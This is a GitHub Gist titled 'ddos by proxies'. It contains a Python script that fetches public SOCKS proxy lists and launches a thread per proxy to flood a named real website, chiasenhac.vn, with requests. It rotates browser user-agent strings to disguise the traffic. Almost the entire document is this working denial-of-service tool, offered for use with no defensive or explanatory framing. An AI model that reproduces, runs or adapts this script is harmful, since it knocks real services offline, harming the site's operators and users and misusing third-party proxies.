Created
October 2, 2020 04:27
-
-
Save tranphuoctien/c81c433179a325ad88a524db01883ede to your computer and use it in GitHub Desktop.
ddos by proxies
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests, random, threading, time | |
URL = 'https://chiasenhac.vn/' | |
Request_Type = 'get' | |
JSON_Data = {} #Gets ignored if Request_Type is GET | |
#Lower=faster but more proxies get skiped because of multi-threading | |
timeout = 6 | |
thread_delay = 0.3 | |
Proxies = { | |
'socks4': requests.get('https://api.proxyscrape.com/?request=getproxies&proxytype=socks4&timeout=5000&country=all').text.split(), | |
'socks5': requests.get('https://api.proxyscrape.com/?request=getproxies&proxytype=socks5&timeout=5000&country=all').text.split(), | |
} | |
for proxy_type in Proxies: | |
for proxy in Proxies[proxy_type]: | |
def attack(): | |
try: | |
req = requests.get(URL, proxies={ | |
'http' : proxy_type+'://'+proxy, | |
'https': proxy_type+'://'+proxy | |
}, headers={ | |
'User-Agent': random.choice([ | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Safari/605.1.15", | |
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0", | |
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36" | |
]) | |
}, timeout=timeout) if Request_Type.lower() == 'get' else requests.post(URL, proxies={ | |
'http' : proxy_type+'://'+proxy, | |
'https': proxy_type+'://'+proxy | |
},headers={ | |
'User-Agent': random.choice([ | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Safari/605.1.15", | |
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", | |
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36", | |
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0", | |
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36" | |
]) | |
}, | |
data=JSON_Data, timeout=timeout) | |
print(proxy_type, proxy, req) | |
except: | |
pass | |
threading.Thread(target=attack).start() | |
time.sleep(thread_delay) | |
#credit some where in the world | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment